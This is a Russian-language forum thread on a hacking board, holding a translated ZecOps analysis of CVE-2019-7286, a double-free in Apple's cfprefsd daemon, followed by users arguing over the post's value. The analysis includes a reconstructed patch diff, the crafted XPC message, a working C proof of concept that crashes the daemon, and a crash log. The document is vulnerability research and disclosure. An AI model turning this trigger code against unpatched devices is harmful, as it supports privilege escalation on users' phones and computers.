• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Уязвимость iOS / OSX: CVE-2019-7286

neopaket

Переводчик
Пользователь
Регистрация
14.05.2019
Сообщения
185
Реакции
205
iOS 12.1.4 - это последняя версия iOS, выпущенная 8 февраля 2019 года. В этой версии были исправлены четыре ранее обнаруженные уязвимости. Согласно твиту Бена Хоукса из Project Zero, по крайней мере две из них были использованы в виде атаке нулевого дня (zero day). "Здесь, в исследовательской группе ZecOps, мы стремились проанализировать и раскрыть больше деталей об этих ныне исправленных уязвимостях."

Если вы заинтересованы в проведении аналогичных исследований в рамках нашей программы Reverse Bounty - вы можете зарегистрироваться здесь .
TL; DR:

  • CVE-2019-7286 эксплуатировался в условиях уязвимостях нулевого дня.
  • Кажется, что эта уязвимость имеет критическую важность и могла потенциально использоваться для поддержания устойчивости после перезагрузки
  • ZecOps удалось воспроизвести эту уязвимость (POC код ниже)
  • Уязвимость может использоваться для повышения привилегий пользователя root как часть цепочки для джейлбрейка на iOS 12.1.3.
Анализ CVE-2019-7286

Согласно описанию Apple :

Доступно для: iPhone 5s и более поздних версий, iPad Air и более поздних версий и iPod touch 6-го поколения.
Воздействие. Приложение может получить повышенные привилегии.
Описание. Устранена проблема с повреждением памяти благодаря улучшенной проверке входных данных.
CVE-2019-7286: анонимный исследователь, Клемент Лежин из Группы анализа угроз Google, Ян Беер из Google Project Zero и Самуэль Грос из Google Project Zero

За исключением того факта, что уязвимость была исправлена в платформе Apple Foundation, описание не дает нам много подробностей относительно характера уязвимости.
После анализа патча в платформе Foundation бинарный анализ не выявил существенных изменений в двоичных файлах iOS 12.1.4 по сравнению с iOS 12.1.3. Следующим непосредственным подозреваемым был CoreFoundation, который показал ряд двоичных различий в инструменте Diaphora, как показано ниже:

word-image.png


Сравнивая исправления, мы обнаружили несколько незначительных изменений в реализации CFPrefs (cfprefsd).
Строка man не слишком наглядна:

cfprefsd предоставляет сервисы настроек для
API CFPreferences и NSUserDefaults.
Для cfprefsd нет опций ручных конфигурации
Опция CFPreferences используется почти каждым программным обеспечением на iOS / OS X при запуске, поэтому уязвимость в этом Daemon также может быть полезна для поддержания устойчивости. Удивительно, но пока нет общедоступной информации об этом CVE, что можно было бы ожидать от уязвимости, которая активно использовалась.

Анализ исправления уязвимости.

Та же самая ошибка также присутствовала в OS X, которая помогла исследованию и анализу ZecOps. Во время исправления в cfprefsd было внесено несколько незначительных изменений, но, похоже, наиболее важные изменения были внесены в следующую функцию:
[CFPrefsDaemon handleMultiMessage: replyHandler:]
Ниже приведен фрагмент попытки ZecOps восстановить исходный код Obj-C вместе с патчем:

Код:
@implementation CFPrefsDaemon
-(void)handleMultiMessage:(xpc_object_t)xpc_dict replyHandler:(Callback)replyHandler
{
  // ...
  CFPrefMessagesArr = xpc_dictionary_get_value(xpc_dict, "CFPreferencesMessages");
  // ...
  xpc_array_count = xpc_array_get_count(CFPrefMessagesArr);
  xpc_buffer = (__int64*)__CFAllocateObjectArray(xpc_array_count);
  //...
  for( counter = 0; xpc_array_count != counter; counter++)
  {
    xpc_buffer[counter] = xpc_array_get_value(CFPrefMessagesArr, counter); // This method does not grant the caller a reference to the underlying object, and thus the caller is not responsible for releasing the object.
  }
  for( counter = 0; xpc_array_count != loop_counter ; counter++)
  {
    xpc_element = xpc_buffer[counter];
    xpc_buffer[counter] = 0;           //patch fix
    if ( xpc_get_type(xpc_element) == &_xpc_type_dictionary )
    {
      [self handleMessage_fromPeer_replyHandler: xpc_element fromPeer: xpc_connection replyHandler:^{
          if (xpc_element) // patch fix
        {
            xpc_object_t result = xpc_retain(xpc_element); 
            xpc_buffer[counter] = result;  
          }              
        }]; 
    }
    if ( !xpc_buffer[counter] )                //patch fix
      xpc_buffer[counter] = xpc_null_create(); //patch fix
  }
  //...
  array_from_xpc_buffer = xpc_array_create(xpc_buffer, xpc_array_count);
  xpc_dictionary_set_value(dict_response, "CFPreferencesMessages", array_from_xpc_buffer);
  xpc_release(array_from_xpc_buffer); 
  for( counter = 0; xpc_array_count != counter ; counter++)
  {
    current_element = xpc_buffer[counter];
    if (xpc_get_type(current_element) != &_xpc_type_null )
        xpc_release(current_element); // first free. Double free will occur when the array CFPrefMessagesArr will be released.
  }
  // ...
}

Детали уязвимости

handleMultiMessage: replyHandler : имеет проблему подсчета ссылок с использованием массива « CFPreferencesMessages », который является частью запроса xpc.
Функция считывает объекты массива в буфер памяти один за другим, используя xpc_array_get_value , что не влияет на подсчет ссылок. Последняя часть функции, которая освобождает все элементы в буфере, предполагает владение объектами xpc . Обычно это так, поскольку блок обратного вызова вызывает xpc_retain и заменяет исходные объекты в xpc_buffer . Однако, если обратный вызов не вызывается в результате специально созданного сообщения (тело сообщения содержит индекс обработчика для сообщения. Не все обработчики вызывают обратный вызов), произойдет двойное освобождение элемента.
XPC со следующими ключами и значениями вызовет уязвимость:

Код:
poc_dict = {
  "CFPreferencesOperation" = 5,
  "CFPreferencesMessages" = [
    {
     "CFPreferencesOperation": 4  
    }
  ]
}

Патч Apple заменил оригинальный XPC на xpc_null, если обратный вызов не обновил xpc_buffer [count]. В результате нет условия двойного освобождения, когда xpc_null не имеет памят, для освобождения.


Воспроизведение уязвимости

Мы можем воспроизвести CVE-2019-7286, используя приведенный ниже фрагмент кода POC:

Код:
#include ;
 
int main(int argc, const char * argv[]) {
 
  xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
  xpc_connection_set_event_handler(conn, ^(xpc_object_t t) {
    printf("got message: %sn", xpc_copy_description(t));
  });
 
  xpc_connection_resume(conn);
 
  xpc_object_t hello = xpc_dictionary_create(NULL, NULL, 0);
  xpc_dictionary_set_int64(hello, "CFPreferencesOperation", 5);
 
  xpc_object_t arr = xpc_array_create(NULL, 0);
  xpc_object_t arr_elem1 = xpc_dictionary_create(NULL, NULL, 0);
  xpc_dictionary_set_int64(arr_elem1, "CFPreferencesOperation", 4);
 
  xpc_array_append_value(arr, arr_elem1);
  xpc_dictionary_set_value(hello, "CFPreferencesMessages", arr);
  xpc_connection_send_message(conn, hello);
  xpc_release(hello);
  return 0;
}

Запуск вышеуказанной программы на iOS 12.0.1 привел к сбою cfprefsd:

Код:
[TABLE]
[TR]
[TD]Thread 6 name:  Dispatch queue: Serving PID 7210
Thread 6 Crashed:
0   libobjc.A.dylib          0x21acd6b00  objc_object::release+ 16 
1   libxpc.dylib             0x21b73bbc0  _xpc_array_dispose + 40 
2   libxpc.dylib             0x21b73a584  _xpc_dispose + 156          
3   libxpc.dylib             0x21b7449fc  _xpc_dictionary_dispose + 204                   
4   libxpc.dylib             0x21b73a584  _xpc_dispose + 156 
5   libxpc.dylib             0x21b742418  _xpc_connection_mach_event + 872 
6   libdispatch.dylib        0x21b528544  _dispatch_client_callout4 + 16 
7   libdispatch.dylib        0x21b4df068  _dispatch_mach_msg_invoke + 340 
8   libdispatch.dylib        0x21b4cfae4  _dispatch_lane_serial_drain + 284 
9   libdispatch.dylib        0x21b4dfc3c  _dispatch_mach_invoke + 476 
10  libdispatch.dylib        0x21b4cfae4  _dispatch_lane_serial_drain + 284 
11  libdispatch.dylib        0x21b4d0760  _dispatch_lane_invoke + 432 
12  libdispatch.dylib        0x21b4d8f00  _dispatch_workloop_worker_thread + 600 
13  libsystem_pthread.dylib  0x21b70a0f0  _pthread_wqthread + 312 
14  libsystem_pthread.dylib  0x21b70cd00  start_wqthread + 4 [/TD]
[/TR]
[/TABLE]

Рекомендации
  • Обновите до последних версий OS X и iOS.
  • Периодически перезагружайте свои iPhone / iPad (например, раз в день), чтобы защитить его от злоумышленников.
Если вам нравится проводить аналогичные анализы/исследования, мы принимаем больше исследователей и аналитиков в нашу программу Reverse Bounty .

Спасибо за прочтение этого небольшого переводика и хорошего дня ;)
Оригинальня статья: https://blog.zecops.com/vulnerabilities/analysis-and-reproduction-of-cve-2019-7286/
Отдельное спасибо tabac
neopaket
 
Пожалуйста, обратите внимание, что пользователь заблокирован
автор поста, вот смысл для чего ты выложил это???? ты сам уязвимость тестил? у тебя даже не выйдет её использовать никогда!
 
автор поста, вот смысл для чего ты выложил это???? ты сам уязвимость тестил? у тебя даже не выйдет её использовать никогда!
Что не так? Отличное описание с разбором, кому надо тот поймёт.
 
Аплэ очень дырявая, но дыры они латают
Углубясь в изучение ОС, то можно креститься когда говорят аплэ == security, если делать аназил с трафика, то 70%-75% пользователей не обновляют свои девайсы
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Что не так? Отличное описание с разбором, кому надо тот поймёт.
сам тестил? xD я ржу тут реально, давай видос сделай с данным изъяном, а так это полный бред
 
Пожалуйста, обратите внимание, что пользователь заблокирован
IOS сама по себе дырявая ось, но чё то я тут не вижу примеров по експлутации данной уязвимости
 
сам тестил? xD я ржу тут реально, давай видос сделай с данным изъяном, а так это полный бред
Ок ржи дальше, что за агрессия и попытки доколупаться на ровном месте? Нет, я не тестила, но подача автора мне нравится и описание CVE на должном уровне.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ок ржи дальше, что за агрессия и попытки доколупаться на ровном месте? Нет, я не тестила, но подача автора мне нравится и описание CVE на должном уровне.
я не докапываюсь, я реально говорю то что не чего не будет, актуальность данного изъяна равна НУЛЮ!
 
IOS сама по себе дырявая ось, но чё то я тут не вижу примеров по експлутации данной уязвимости
Ну так аналитики не будут выкладывать полный ман, только так, накидают помелочи где и куда смотреть, иначе это будет пизд*ц, так как еще раз повторюсь что мало кто обновляет свои девайсы
 
я не докапываюсь, я реально говорю то что не чего не будет, актуальность данного изъяна равна НУЛЮ!
Можешь лучше - напиши свой разбор, внеси так сказать свою лепту в комьюнити, а мы с удовольствием почитаем и возможно даже покритикуем или похвалим твой труд.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну так аналитики не будут выкладывать полный ман, только так, накидают помелочи где и куда смотреть, иначе это будет пизд*ц, так как еще раз повторюсь что мало кто обновляет свои девайсы
ты видел этих аналитиков?
если у них из жопы руки растут и они применить не черты не могут, и просто дерут всякую дичь! на самом деле же уязвимость есть и будет, так как сами аналитики диванные не хера не могут осуществить, начитались там и тд...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Можешь лучше - напиши свой разбор, внеси так сказать свою лепту в комьюнити, а мы с удовольствием почитаем и возможно даже покритикуем или похвалим твой труд.
могу и написать, только для чего???
чтоб все школоло юзали данную уязвимость!??
я в дарке опубликую лучше i2p там меня поймут
 
могу и написать, только для чего???
чтоб все школоло юзали данную уязвимость!??
я в дарке опубликую лучше i2p там меня поймут
Ради интереса посмотрела твои посты и поняла что лучше автора ты точно не сможешь написать. Не совсем понимаю зачем ты данном борде пишишь в таком случае, если можешь в дарке что-то там опубликовать. Можешь - делай, конструктивной критики по теме я не увидела. На этой ноте дискуссию считаю оконченной.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ради интереса посмотрела твои посты и поняла что лучше автора ты точно не сможешь написать. Не совсем понимаю зачем ты данном борде пишишь в таком случае, если можешь в дарке что-то там опубликовать. Можешь - делай, конструктивной критики по теме я не увидела. На этой ноте дискуссию считаю оконченной.
я тебя вобще не понял, если ты тут на этом школоло паблике тусишь то туси, это же реально школололо паблик, тут я своё не чего не буду выкладывать стоящее, ты реально не вкурил(а) о чём я пишу, при чём тут мои посты?? ты по сути хрень порешь. Привыкли делать форумы на трухацкерном движке xenforo.
Ржу над вами тут
 
автор поста, вот смысл для чего ты выложил это???? ты сам уязвимость тестил? у тебя даже не выйдет её использовать никогда!
Поясню, это пособие можно использовать не как прямое пособие к действию, а например, для понимания процессов, происходящих во время её исполнения.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх